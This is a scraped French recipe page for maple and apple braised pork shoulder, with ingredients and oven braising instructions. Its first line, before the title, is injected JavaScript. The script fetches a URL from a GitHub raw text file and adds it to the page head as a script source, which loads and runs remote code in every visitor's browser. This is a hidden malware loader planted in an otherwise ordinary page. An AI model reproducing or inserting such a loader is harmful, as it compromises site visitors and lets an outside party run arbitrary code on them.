;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Braisé de porc érable et pommes - Haute Nutrition
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Braisé de porc érable et pommes

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Prep Time 15 mins
Cook Time 4 hrs
Total Time 4 hrs 15 mins
Course Main Course
Cuisine American
Servings 4 portions
Calories 442 kcal

Ingredients
  

  • 2 KG épaule de porc avec os
  • 75 ml sirop d'érable
  • ½ tasse céleri coupée grossièrement
  • 1 carotte coupée grossièrement
  • 1 oignon coupée grossièrement
  • 750 ml vin rouge
  • 750 ml fond de veau ou de volaille
  • 500 ml jus de pommes
  • 15 ml huile d'olive
  • 15 ml beurre

Instructions
 

  • Partir le four à 350F
  • Choisir une cocotte  en fonte émaillée assez grande pour y déposer le rôti de palette. 
  • Faire fondre huile et beurre et  et faire revenir la viande de tout les côtés.
    Assaisonner de sel
  • Ajouter les légumes (céleri, oignons, carottes) et faire revenir quelques minutes pour colorer les légumes.
  • Par la suite, ajouter le sirop d'érable, le vin rouge et le jus. Le liquide doit couvrir la viande ou presque 
    Amener à ébullition et mettre au four.
    Si vous avez un presto : Amener à ébullition et faire chauffer 50 minutes
  • Envoyer au four 3-4 heures, puis vérifier la cuisson, car il faut que la viande se détache bien des os.
  • Retirer la viande pour faire la sauce et passer le jus dans un tamis avant de le faire réduire dans une casserole jusqu'à l'obtention de 1/6 de la quantité originale.